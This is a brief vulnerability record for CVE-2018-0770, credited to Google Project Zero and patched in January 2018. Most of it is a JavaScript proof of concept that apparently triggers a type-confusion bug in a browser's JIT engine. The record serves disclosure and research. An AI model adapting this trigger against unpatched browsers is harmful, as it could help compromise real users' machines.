CVE-2018-0770.md

CVE-2018-0770

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

function opt() {
    let obj = '2.3023e-320';
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

Reference

• Microsoft
• Google Project Zero
• Fix